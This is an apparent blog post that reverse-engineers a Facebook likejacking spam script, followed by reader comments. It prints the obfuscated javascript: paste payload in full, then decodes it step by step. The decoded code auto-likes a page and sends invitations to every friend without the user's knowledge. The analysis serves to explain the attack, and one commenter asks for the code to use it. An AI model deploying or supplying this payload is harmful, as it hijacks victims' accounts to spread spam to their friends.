May 14

Latest Facebook Spam

Tag: Javascript,WebAbhijeet Maharana @ 1:59 am

You have seen those Facebook updates that go “***** and ***** like if he/she tells these lies, 99% chance they are cheating on you.” and the like. If you go to the page and do as the page says, you will end up liking the page (automatically) and your friends will receive a “suggestion”. I fell victim too.

After a couple of such updates, it was obvious this is some sort of spam. And it is spreading fast too. I paid attention to the instructions on such pages. CTRL + C, ALT + D, CTRL + V and Enter. So copy & paste something in the address bar and GO. The copied stuff has to be a link … or a script. Sure enough, it is a script. Here is the encoded form:

javascript:(function(){a='app121213611239754_jop';b='app121213611239754_jode';ifc='app121213611239754_ifc';ifo='app121213611239754_ifo';mw='app121213611239754_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

Lets beautify it a bit using jsbeautifier:

(function () {
    a = 'app121213611239754_jop';
    b = 'app121213611239754_jode';
    ifc = 'app121213611239754_ifc';
    ifo = 'app121213611239754_ifo';
    mw = 'app121213611239754_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            e = function () {
                return '\w+'
            c = 1
        while (c--) if (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]);
        return p
    }('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))

Couple of variable declarations and somewhere in there there is “eval(function(p,a,c,k,e,r)” which means this Javascript is packed using Dean Edwards’ packer. So lets unpack it using this tool.

var _0x95ea = ["x76x69x73x69x62x69x6Cx69x74x79", "x73x74x79x6Cx65", "x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64", "x68x69x64x64x65x6E", "x69x6Ex6Ex65x72x48x54x4Dx4C", "x76x61x6Cx75x65", "x73x75x67x67x65x73x74", "x6Cx69x6Bx65x6Dx65", "x4Dx6Fx75x73x65x45x76x65x6Ex74x73", "x63x72x65x61x74x65x45x76x65x6Ex74", "x63x6Cx69x63x6B", "x69x6Ex69x74x45x76x65x6Ex74", "x64x69x73x70x61x74x63x68x45x76x65x6Ex74", "x73x65x6Cx65x63x74x5Fx61x6Cx6C", "x73x67x6Dx5Fx69x6Ex76x69x74x65x5Fx66x6Fx72x6D", "x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5Fx67x72x61x70x68x2Fx69x6Ex76x69x74x65x5Fx64x69x61x6Cx6Fx67x2Ex70x68x70", "x73x75x62x6Dx69x74x44x69x61x6Cx6Fx67"];
d = document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]] = d[_0x95ea[2]](b)[_0x95ea[5]];
s = d[_0x95ea[2]](_0x95ea[6]);
m = d[_0x95ea[2]](_0x95ea[7]);
c = d[_0x95ea[9]](_0x95ea[8]);
c[_0x95ea[11]](_0x95ea[10], true, true);
setTimeout(function () {
}, 5000);
setTimeout(function () {
	SocialGraphManager[_0x95ea[16]](_0x95ea[14], _0x95ea[15])
}, 5000);
setTimeout(function () {
	d[_0x95ea[2]](ifo)[_0x95ea[4]] = d[_0x95ea[2]](ifc)[_0x95ea[5]]
}, 5000);

The array _0x95ea contains hex coded strings. To find out what they mean, we just use an alert


Those are your strings. Go back and replace them in the array.

var _0x95ea = ["visibility", 

Now replace the array references and variable declarations in the code that follows. So

d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];


document['getElementById']('app121213611239754_mwrapper')['style']['visibility'] = 'hidden';

which is same as

document.getElementById('app121213611239754_mwrapper').style.visibility = 'hidden';

The final code looks like this.

// hide the div that shows the CTRL + C etc. animation
document.getElementById('app121213611239754_mwrapper').style.visibility = hidden;
// copy code from a hidden text area to a div to create the suggest and likeme nodes
document.getElementById('app121213611239754_jop').innerHTML = document.getElementById('app121213611239754_jode').value;
s = document.getElementById('suggest');
m = document.getElementById('likeme');
c = document.createEvent('MouseEvents');
c.initEvent('click', true, true);
setTimeout(function () {
}, 5000);
setTimeout(function () {
	SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
	document.getElementById(ifo).innerHTML = document.getElementById(ifc).value
}, 5000);

‘app121213611239754_jode’ is a hidden text area which contains following code

<div class=​"suggestdiv">​
<a id=​"suggest" href=​"#" ajaxify=​"/​ajax/​social_graph/​invite_dialog.php?class=FanManager&​node_id=115065838533943" class=​" profile_action actionspro_a" rel=​"dialog-post">​Suggest to Friends​</a>​
<div class=​"likemediv">​
<a ajaxify=​"/​ajax/​pages/​fan_status.php?fbpage_id=115065838533943&​add=1&​reload=0&​preserve_tab=1&​use_primer=1" id=​"likeme" rel=​"async-post" class=​"UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href=​"#">​
<span class=​"UIButton_Text">​
<i class=​"UIButton_Icon img spritemap_icons sx_icons_like">​</i>​

This code is copied to the outer DIV which creates the “suggest” and “likeme” links. Using the timeouts, suggest link is clicked, all friends are selected and invitations are sent. Then you end up liking the page.


6 Responses to “Latest Facebook Spam”

  1. John Nelson says:

    OMG! I have tried to clean up this code for ages. I knew it did something, The only thing I am worried abuot is keylogging. I have been keylogged before.

  2. Abhijeet Maharana says:

    This doesn’t do any keylogging because all one does on the page is copy paste. I am wondering why take the trouble of having the user do these things? Why not execute the script as soon as the user lands on the page? I haven’t dug into the FB API yet. Maybe it prevents this kind of thing.

  3. UpsideDownTire says:

    I woke this morning to find a friend like’d a Facebook page that, yes, allowed you to see who viewed you profile. However the code to paste is different than yours. How can I get this code to you? Are you interested? Let me know.


  4. Hope says:

    hi can u help me hace this up on my fan page. plz can u just sent me the code i need for the fbml and i will take it from there

  5. Martin says:

    Hope, why do you want people to invite their friends without knowing about it? That’s a pretty pathetic way to gain “fans”, don’t you think?

  6. Abhijeet Maharana says:

    @UpsideDownTire: Sorry for the delay. I came across that page too. Shouldnt be much different but I guess you have figured it out already.

    @Hope: err?

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